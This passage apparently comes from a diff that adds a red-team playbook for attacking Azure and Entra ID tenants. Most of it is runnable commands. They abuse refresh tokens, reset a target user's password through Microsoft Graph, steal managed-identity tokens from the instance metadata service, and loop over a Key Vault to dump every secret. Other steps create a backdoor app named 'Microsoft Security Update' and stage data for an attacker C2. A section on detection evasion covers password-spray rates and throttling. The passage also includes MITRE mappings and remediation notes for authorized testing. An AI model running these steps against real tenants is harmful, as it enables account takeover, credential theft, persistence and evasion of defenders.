|
+
Invoke-RefreshToMSGraphToken -domain "targetcorp.com" -refreshToken $RefreshToken
|
|
906
|
+
Invoke-RefreshToSharePointToken -domain "targetcorp.com" -refreshToken $RefreshToken
|
|
907
|
+
|
|
908
|
+
# Step 6: Enumerate with the Graph token
|
|
909
|
+
$GraphToken = "GRAPH_ACCESS_TOKEN"
|
|
910
|
+
|
|
911
|
+
# Who am I?
|
|
912
|
+
curl -s -H "Authorization: Bearer $GraphToken" \
|
|
913
|
+
"https://graph.microsoft.com/v1.0/me" | jq '{displayName, userPrincipalName, jobTitle}'
|
|
914
|
+
|
|
915
|
+
# Am I a Global Admin?
|
|
916
|
+
curl -s -H "Authorization: Bearer $GraphToken" \
|
|
917
|
+
"https://graph.microsoft.com/v1.0/me/memberOf" | \
|
|
918
|
+
jq '.value[] | select(.displayName == "Global Administrators")'
|
|
919
|
+
|
|
920
|
+
# Step 7: If GA, enumerate ALL users and reset passwords
|
|
921
|
+
curl -s -H "Authorization: Bearer $GraphToken" \
|
|
922
|
+
"https://graph.microsoft.com/v1.0/users?\$top=100" | jq '.value[].userPrincipalName'
|
|
923
|
+
|
|
924
|
+
# Reset a target user's password
|
|
925
|
+
TARGET_USER_ID="USER_OBJECT_ID"
|
|
926
|
+
curl -X PATCH \
|
|
927
|
+
-H "Authorization: Bearer $GraphToken" \
|
|
928
|
+
-H "Content-Type: application/json" \
|
|
929
|
+
-d '{"passwordProfile": {"password": "NewP@ssw0rd!", "forceChangePasswordNextSignIn": false}}' \
|
|
930
|
+
"https://graph.microsoft.com/v1.0/users/$TARGET_USER_ID"
|
|
931
|
+
|
|
932
|
+
# Step 8: Access SharePoint/OneDrive for data exfiltration
|
|
933
|
+
curl -s -H "Authorization: Bearer $SHAREPOINT_TOKEN" \
|
|
934
|
+
"https://targetcorp.sharepoint.com/_api/web/lists" | jq '.value[].Title'
|
|
935
|
+
```
|
|
936
|
+
|
|
937
|
+
---
|
|
938
|
+
|
|
939
|
+
### Scenario C: Compromised Azure VM to Tenant Persistence via Managed Identity
|
|
940
|
+
|
|
941
|
+
**Context:** RCE obtained on an Azure VM via web application vulnerability. Goal: tenant-wide persistence.
|
|
942
|
+
|
|
943
|
+
```bash
|
|
944
|
+
# Step 1: From the compromised VM, check for Managed Identity
|
|
945
|
+
curl -s -H "Metadata: true" \
|
|
946
|
+
"http://169.254.169.254/metadata/instance?api-version=2021-02-01" | python3 -m json.tool
|
|
947
|
+
|
|
948
|
+
# Step 2: Obtain ARM and Graph tokens
|
|
949
|
+
ARM_TOKEN=$(curl -s -H "Metadata: true" \
|
|
950
|
+
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://management.azure.com/" \
|
|
951
|
+
| jq -r '.access_token')
|
|
952
|
+
|
|
953
|
+
GRAPH_TOKEN=$(curl -s -H "Metadata: true" \
|
|
954
|
+
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://graph.microsoft.com/" \
|
|
955
|
+
| jq -r '.access_token')
|
|
956
|
+
|
|
957
|
+
# Step 3: Identify current identity and role
|
|
958
|
+
curl -s -H "Authorization: Bearer $ARM_TOKEN" \
|
|
959
|
+
"https://management.azure.com/subscriptions?api-version=2020-01-01" | jq '.value[].id'
|
|
960
|
+
|
|
961
|
+
# Decode the token to see assigned roles
|
|
962
|
+
echo $ARM_TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
|
|
963
|
+
|
|
964
|
+
# Step 4: Check role assignments for this identity
|
|
965
|
+
SUBSCRIPTION_ID="YOUR_SUBSCRIPTION_ID"
|
|
966
|
+
IDENTITY_PRINCIPAL_ID="MANAGED_IDENTITY_OBJECT_ID"
|
|
967
|
+
|
|
968
|
+
curl -s -H "Authorization: Bearer $ARM_TOKEN" \
|
|
969
|
+
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&\$filter=principalId+eq+'$IDENTITY_PRINCIPAL_ID'" \
|
|
970
|
+
| jq '.value[].properties | {role: .roleDefinitionId, scope: .scope}'
|
|
971
|
+
|
|
972
|
+
# Step 5: If Contributor or higher, enumerate Key Vaults and extract secrets
|
|
973
|
+
KV_TOKEN=$(curl -s -H "Metadata: true" \
|
|
974
|
+
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://vault.azure.net" \
|
|
975
|
+
| jq -r '.access_token')
|
|
976
|
+
|
|
977
|
+
# List all Key Vaults in subscription
|
|
978
|
+
curl -s -H "Authorization: Bearer $ARM_TOKEN" \
|
|
979
|
+
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/providers/Microsoft.KeyVault/vaults?api-version=2022-07-01" \
|
|
980
|
+
| jq '.value[].name'
|
|
981
|
+
|
|
982
|
+
# Dump secrets from accessible vault
|
|
983
|
+
VAULT_NAME="prod-keyvault"
|
|
984
|
+
curl -s -H "Authorization: Bearer $KV_TOKEN" \
|
|
985
|
+
"https://$VAULT_NAME.vault.azure.net/secrets?api-version=7.3" | jq '.value[].id'
|
|
986
|
+
|
|
987
|
+
for secret_id in $(curl -s -H "Authorization: Bearer $KV_TOKEN" \
|
|
988
|
+
"https://$VAULT_NAME.vault.azure.net/secrets?api-version=7.3" | jq -r '.value[].id'); do
|
|
989
|
+
secret_name=$(basename $secret_id)
|
|
990
|
+
secret_value=$(curl -s -H "Authorization: Bearer $KV_TOKEN" \
|
|
991
|
+
"$secret_id?api-version=7.3" | jq -r '.value')
|
|
992
|
+
echo "$secret_name: $secret_value"
|
|
993
|
+
done
|
|
994
|
+
|
|
995
|
+
# Step 6: Use Graph token to add backdoor app (if identity has Azure AD permissions)
|
|
996
|
+
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" \
|
|
997
|
+
"https://graph.microsoft.com/v1.0/me" | jq .
|
|
998
|
+
|
|
999
|
+
# Create new application
|
|
1000
|
+
curl -X POST \
|
|
1001
|
+
-H "Authorization: Bearer $GRAPH_TOKEN" \
|
|
1002
|
+
-H "Content-Type: application/json" \
|
|
1003
|
+
-d '{"displayName": "Microsoft Security Update", "signInAudience": "AzureADMyOrg"}' \
|
|
1004
|
+
"https://graph.microsoft.com/v1.0/applications" | jq .
|
|
1005
|
+
|
|
1006
|
+
# Step 7: Exfiltrate data before cleaning up
|
|
1007
|
+
# Download from accessible storage to attacker C2
|
|
1008
|
+
curl -s -H "Authorization: Bearer $ARM_TOKEN" \
|
|
1009
|
+
"https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/providers/Microsoft.Storage/storageAccounts?api-version=2023-01-01" \
|
|
1010
|
+
| jq '.value[].name'
|
|
1011
|
+
```
|
|
1012
|
+
|
|
1013
|
+
---
|
|
1014
|
+
|
|
1015
|
+
## 7. OPSEC Considerations
|
|
1016
|
+
|
|
1017
|
+
### 7.1 Detection Risks
|
|
1018
|
+
|
|
1019
|
+
**High-detection activities (avoid or perform during authorized windows):**
|
|
1020
|
+
- Azure AD password spray — triggers Identity Protection risk events and sign-in log anomalies
|
|
1021
|
+
- Mass enumeration with az CLI — generates high-volume audit log entries
|
|
1022
|
+
- Key Vault secret access — every read is logged in Key Vault diagnostic logs
|
|
1023
|
+
- Adding credentials to Service Principals — triggers Azure AD audit logs
|
|
1024
|
+
- Creating new users or applications — immediately visible in Azure AD audit logs
|
|
1025
|
+
- Accessing IMDS from an unusual IP — flagged if anomaly detection is enabled
|
|
1026
|
+
|
|
1027
|
+
**Moderate-detection activities:**
|
|
1028
|
+
- Role assignment enumeration — read-only but logged
|
|
1029
|
+
- Storage account access — logged in Azure Monitor if diagnostic settings are configured
|
|
1030
|
+
- App Service configuration reads — logged in Activity Log
|
|
1031
|
+
- ROADrecon/AzureHound enumeration — generates many Graph API calls
|
|
1032
|
+
|
|
1033
|
+
**Lower-detection activities:**
|
|
1034
|
+
- Decoding existing tokens (offline) — no server-side logging
|
|
1035
|
+
- Reading already-possessed credentials — no Azure-side logging
|
|
1036
|
+
- Reviewing resource configurations already in ARM output — minimal logging
|
|
1037
|
+
|
|
1038
|
+
### 7.2 Detection Evasion Techniques
|
|
1039
|
+
|
|
1040
|
+
```bash
|
|
1041
|
+
# Use realistic user agent strings
|
|
1042
|
+
# Many Azure CLI tools have identifiable user agents — use REST calls with browser UA
|
|
1043
|
+
|
|
1044
|
+
# Throttle enumeration
|
|
1045
|
+
# Never flood the API — space requests by 2-5 seconds minimum
|
|
1046
|
+
sleep 3 && az ad user list --top 10
|
|
1047
|
+
sleep 3 && az ad user list --top 10 --skip-token "CONTINUATION_TOKEN"
|
|
1048
|
+
|
|
1049
|
+
# Limit spray rates
|
|
1050
|
+
# Azure AD locks accounts after ~10 failed attempts in 30 minutes
|
|
1051
|
+
# Safe rate: 1 attempt per user per 30-60 minutes
|
|
1052
|
+
|
|
1053
|
+
# Use legitimate-looking API access patterns
|
|
1054
|
+
# Avoid enumerating everything in one session — spread over multiple days
|
|
1055
|
+
|
|
1056
|
+
# Prefer read-only operations first
|
|
1057
|
+
# Limit write operations to what is strictly necessary for the objective
|
|
1058
|
+
|
|
1059
|
+
# Use existing tokens rather than repeatedly authenticating
|
|
1060
|
+
# Refresh tokens are valid for 90 days by default — authenticate once
|
|
1061
|
+
```
|
|
1062
|
+
|
|
1063
|
+
### 7.3 Log Sources Defenders Monitor
|
|
1064
|
+
|
|
1065
|
+
| Activity | Log Source | Alert Potential |
|
|
1066
|
+
|---|---|---|
|
|
1067
|
+
| Password spray | Azure AD Sign-in Logs | HIGH — Sentinel rule |
|
|
1068
|
+
| New credential on SP | Azure AD Audit Logs | HIGH |
|
|
1069
|
+
| Key Vault secret read | Key Vault diagnostics | MEDIUM |
|
|
1070
|
+
| Role assignment change | Activity Log | HIGH |
|
|
1071
|
+
| New app registration | Azure AD Audit Logs | MEDIUM |
|
|
1072
|
+
| IMDS token request | Azure Monitor (if enabled) | LOW |
|
|
1073
|
+
| Mass enumeration | Azure AD Sign-in Logs | MEDIUM |
|
|
1074
|
+
| Anomalous location sign-in | Identity Protection | HIGH |
|
|
1075
|
+
|
|
1076
|
+
### 7.4 Operational Recommendations
|
|
1077
|
+
|
|
1078
|
+
```bash
|
|
1079
|
+
# Always use attacker-controlled infrastructure (VPS in a neutral region)
|
|
1080
|
+
# Do NOT use your personal or company Microsoft account for any operations
|
|
1081
|
+
|
|
1082
|
+
# Track all actions taken for deconfliction
|
|
1083
|
+
# Log every az CLI command and API call with timestamps
|
|
1084
|
+
script -f azure-ops-$(date +%Y%m%d-%H%M%S).log
|
|
1085
|
+
|
|
1086
|
+
# Use separate az profiles for each target
|
|
1087
|
+
az configure --defaults location='' output=json
|
|
1088
|
+
az account set --subscription "TARGET_SUBSCRIPTION_ID"
|
|
1089
|
+
|
|
1090
|
+
# Clean up artifacts (backdoor accounts, rogue apps) after engagement
|
|
1091
|
+
az ad user delete --id "BACKDOOR_USER_OBJECT_ID"
|
|
1092
|
+
az ad app delete --id "BACKDOOR_APP_OBJECT_ID"
|
|
1093
|
+
az role assignment delete --assignee "OBJECT_ID" --role "Owner" \
|
|
1094
|
+
--scope "/subscriptions/SUBSCRIPTION_ID"
|
|
1095
|
+
```
|
|
1096
|
+
|
|
1097
|
+
---
|
|
1098
|
+
|
|
1099
|
+
## 8. Output and Documentation Instructions
|
|
1100
|
+
|
|
1101
|
+
### 8.1 Evidence Collection
|
|
1102
|
+
|
|
1103
|
+
```bash
|
|
1104
|
+
# Create organized evidence directory
|
|
1105
|
+
mkdir -p ./evidence/{screenshots,tokens,secrets,enumeration,loot}
|
|
1106
|
+
|
|
1107
|
+
# Capture all terminal output to a log
|
|
1108
|
+
script -f ./evidence/session-$(date +%Y%m%d-%H%M%S).log
|
|
1109
|
+
|
|
1110
|
+
# Save raw enumeration data
|
|
1111
|
+
az resource list -o json > ./evidence/enumeration/all-resources.json
|
|
1112
|
+
az ad user list -o json > ./evidence/enumeration/azure-ad-users.json
|
|
1113
|
+
az ad sp list --all -o json > ./evidence/enumeration/service-principals.json
|
|
1114
|
+
az keyvault list -o json > ./evidence/enumeration/key-vaults.json
|
|
1115
|
+
|
|
1116
|
+
# Screenshot the Azure portal showing the impact
|
|
1117
|
+
# Use az CLI to generate proof-of-access artifacts
|
|
1118
|
+
az account show -o json > ./evidence/proof-of-access.json
|
|
1119
|
+
az ad signed-in-user show -o json >> ./evidence/proof-of-access.json
|
|
1120
|
+
date >> ./evidence/proof-of-access.json
|
|
1121
|
+
|
|
1122
|
+
# Hash all evidence files
|
|
1123
|
+
md5sum ./evidence/**/* > ./evidence/checksums.md5
|
|
1124
|
+
sha256sum ./evidence/**/* > ./evidence/checksums.sha256
|
|
1125
|
+
```
|
|
1126
|
+
|
|
1127
|
+
### 8.2 Required Documentation for Each Finding
|
|
1128
|
+
|
|
1129
|
+
For each vulnerability exploited, document:
|
|
1130
|
+
|
|
1131
|
+
1. **Finding Title** — e.g., "Azure Key Vault Accessible to Overly Privileged Service Principal"
|
|
1132
|
+
2. **CVSS Score** — calculate with `rt-cvss-calculator`
|
|
1133
|
+
3. **Evidence Files** — screenshots, JSON output, token excerpts (redacted after proof)
|
|
1134
|
+
4. **Attack Chain** — step-by-step reproduction steps
|
|
1135
|
+
5. **Impact Statement** — what data or systems were accessible
|
|
1136
|
+
6. **Affected Resources** — subscription IDs, resource names, tenant ID
|
|
1137
|
+
7. **MITRE ATT&CK Mapping** — use `rt-mitre-map` to assign technique IDs
|
|
1138
|
+
8. **Remediation** — specific Azure-native fix (RBAC tightening, network restrictions, etc.)
|
|
1139
|
+
|
|
1140
|
+
### 8.3 MITRE ATT&CK for Azure (Common Mappings)
|
|
1141
|
+
|
|
1142
|
+
| Technique | MITRE ID | Azure Context |
|
|
1143
|
+
|---|---|---|
|
|
1144
|
+
| Valid Accounts: Cloud Accounts | T1078.004 | Compromised Azure AD user |
|
|
1145
|
+
| Valid Accounts: Service Accounts | T1078.003 | Service Principal abuse |
|
|
1146
|
+
| Phishing: Spearphishing Link | T1566.002 | Device code phishing |
|
|
1147
|
+
| Cloud Infrastructure Discovery | T1580 | az resource list |
|
|
1148
|
+
| Cloud Service Discovery | T1526 | Subscription/tenant enumeration |
|
|
1149
|
+
| Steal Application Access Token | T1528 | IMDS token theft |
|
|
1150
|
+
| Credentials from Password Stores | T1555 | Key Vault secret extraction |
|
|
1151
|
+
| Unsecured Credentials: Cloud Instance Metadata API | T1552.005 | IMDS exploitation |
|
|
1152
|
+
| Create Cloud Instance | T1578.002 | VM creation for persistence |
|
|
1153
|
+
| Account Creation | T1136.003 | Backdoor user creation |
|
|
1154
|
+
| Additional Cloud Credentials | T1098.001 | SP credential addition |
|
|
1155
|
+
|
|
1156
|
+
---
|
|
1157
|
+
|
|
1158
|
+
## 9. Resources and References
|
|
1159
|
+
|
|
1160
|
+
### Official Microsoft Documentation
|
|
1161
|
+
|
|
1162
|
+
- Azure Role-Based Access Control: https://docs.microsoft.com/en-us/azure/role-based-access-control/overview
|
|
1163
|
+
- Azure AD Built-in Roles: https://docs.microsoft.com/en-us/azure/active-directory/roles/permissions-reference
|
|
1164
|
+
- Microsoft Graph API Reference: https://docs.microsoft.com/en-us/graph/api/overview
|
|
1165
|
+
- Azure Managed Identity: https://docs.microsoft.com/en-us/azure/active-directory/managed-identities-azure-resources/overview
|
|
1166
|
+
|
|
1167
|
+
### Offensive Tools
|
|
1168
|
+
|
|
1169
|
+
- ROADtools (Azure AD enumeration): https://github.com/dirkjanm/ROADtools
|
|
1170
|
+
- AzureHound (BloodHound for Azure): https://github.com/BloodHoundAD/AzureHound
|
|
1171
|
+
- BloodHound Community Edition: https://github.com/SpecterOps/BloodHound
|
|
1172
|
+
- PowerZure: https://github.com/hausec/PowerZure
|
|
1173
|
+
- MicroBurst: https://github.com/NetSPI/MicroBurst
|
|
1174
|
+
- TokenTactics: https://github.com/rvrsh3ll/TokenTactics
|
|
1175
|
+
- Spray365: https://github.com/MarkoH17/Spray365
|
|
1176
|
+
- MSOLSpray: https://github.com/dafthack/MSOLSpray
|
|
1177
|
+
- AADInternals: https://github.com/Gerenios/AADInternals
|
|
1178
|
+
- o365spray: https://github.com/0xZDH/o365spray
|
|
1179
|
+
- GraphSpy: https://github.com/RedBirdCyber/GraphSpy
|
|
1180
|
+
- Stormspotter: https://github.com/Azure/Stormspotter
|
|
1181
|
+
- jwt_tool: https://github.com/ticarpi/jwt_tool
|
|
1182
|
+
|
|
1183
|
+
### Research and Write-Ups
|
|
1184
|
+
|
|
1185
|
+
- Dirk-jan Mollema's blog (Azure AD attacks): https://dirkjanm.io
|
|
1186
|
+
- NetSPI Azure attack techniques: https://github.com/NetSPI/MicroBurst
|
|
1187
|
+
- Azure AD Kill Chain by Joosua Santasalo: https://github.com/Cloud-Architekt/AzureAD-Attack-Defense
|
|
1188
|
+
- Hacking the Cloud — Azure section: https://hackingthe.cloud/azure/general-concepts/
|
|
1189
|
+
- SpecterOps Azure Attacks: https://posts.specterops.io/
|
|
1190
|
+
- Hunting Azure Attacks: https://github.com/reprise99/Sentinel-Queries
|
|
1191
|
+
|
|
1192
|
+
### Threat Intelligence
|
|
1193
|
+
|
|
1194
|
+
- MITRE ATT&CK Cloud Matrix: https://attack.mitre.org/matrices/enterprise/cloud/
|
|
1195
|
+
- MITRE ATT&CK Azure Techniques: https://attack.mitre.org/techniques/enterprise/ (filter: cloud)
|
|
1196
|
+
- Microsoft Entra ID Attack and Defense Playbook: https://github.com/Cloud-Architekt/AzureAD-Attack-Defense
|
|
1197
|
+
|
|
1198
|
+
### Training and Labs
|
|
1199
|
+
|
|
1200
|
+
- CloudGoat (intentionally vulnerable cloud): https://github.com/RhinoSecurityLabs/cloudgoat
|
|
1201
|
+
- flaws.cloud (Azure version): https://flaws2.cloud
|
|
1202
|
+
- PwnedLabs (Azure scenarios): https://pwnedlabs.io
|
|
1203
|
+
- SANS SEC588 — Cloud Penetration Testing
|
|
1204
|
+
|
|
1205
|
+
---
|
|
1206
|
+
|
|
1207
|
+
## Appendix: Quick Reference Cheat Sheet
|
|
1208
|
+
|
|
1209
|
+
```bash
|
|
1210
|
+
# === AUTHENTICATION ===
|
|
1211
|
+
az login # Interactive browser
|
|
1212
|
+
az login --use-device-code # Device code
|
|
1213
|
+
az login --service-principal -u CLIENTID -p SECRET --tenant TENANTID
|
|
1214
|
+
az account set --subscription SUBSCRIPTION_ID
|
|
1215
|
+
|
|
1216
|
+
# === IDENTITY ===
|
|
1217
|
+
az account show # Current context
|
|
1218
|
+
az ad signed-in-user show # Current user info
|
|
1219
|
+
az role assignment list --all -o table # All role assignments
|
|
1220
|
+
|
|
1221
|
+
# === AZURE AD ENUMERATION ===
|
|
1222
|
+
az ad user list -o table # All users
|
|
1223
|
+
az ad group list -o table # All groups
|
|
1224
|
+
az ad sp list --all -o table # All service principals
|
|
1225
|
+
|
|
1226
|
+
# === RESOURCE ENUMERATION ===
|
|
1227
|
+
az group list -o table # Resource groups
|
|
1228
|
+
az resource list -o table # All resources
|
|
1229
|
+
az vm list -o table # Virtual machines
|
|
1230
|
+
az storage account list -o table # Storage accounts
|
|
1231
|
+
az keyvault list -o table # Key Vaults
|
|
1232
|
+
az webapp list -o table # App Services
|
|
1233
|
+
az functionapp list -o table # Azure Functions
|
|
1234
|
+
|
|
1235
|
+
# === STORAGE EXPLOITATION ===
|
|
1236
|
+
az storage container list --account-name NAME --auth-mode login
|
|
1237
|
+
az storage blob list --account-name NAME --container-name CONTAINER --auth-mode login
|
|
1238
|
+
az storage blob download --account-name NAME --container-name CONTAINER --name FILE --file LOCAL
|
|
1239
|
+
|
|
1240
|
+
# === KEY VAULT ===
|
|
1241
|
+
az keyvault secret list --vault-name VAULT -o table
|
|
1242
|
+
az keyvault secret show --vault-name VAULT --name SECRET -q value -o tsv
|
|
1243
|
+
|
|
1244
|
+
# === IMDS TOKEN (from Azure compute) ===
|
|
1245
|
+
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://management.azure.com/"
|
|
1246
|
+
|
|
1247
|
+
# === APP SERVICE ENV VARS ===
|
|
1248
|
+
az webapp config appsettings list --name APP --resource-group RG -o table
|
|
1249
|
+
az webapp deployment list-publishing-credentials --name APP --resource-group RG
|
|
1250
|
+
|
|
1251
|
+
# === ROADRECON ===
|
|
1252
|
+
roadrecon auth --username USER --password PASS
|
|
1253
|
+
roadrecon gather
|
|
1254
|
+
roadrecon gui # http://localhost:5000
|
|
1255
|
+
|
|
1256
|
+
# === AZUREHOUND ===
|
|
1257
|
+
./azurehound -u USER -p PASS list --tenant TENANTID -o output.json
|
|
1258
|
+
```
|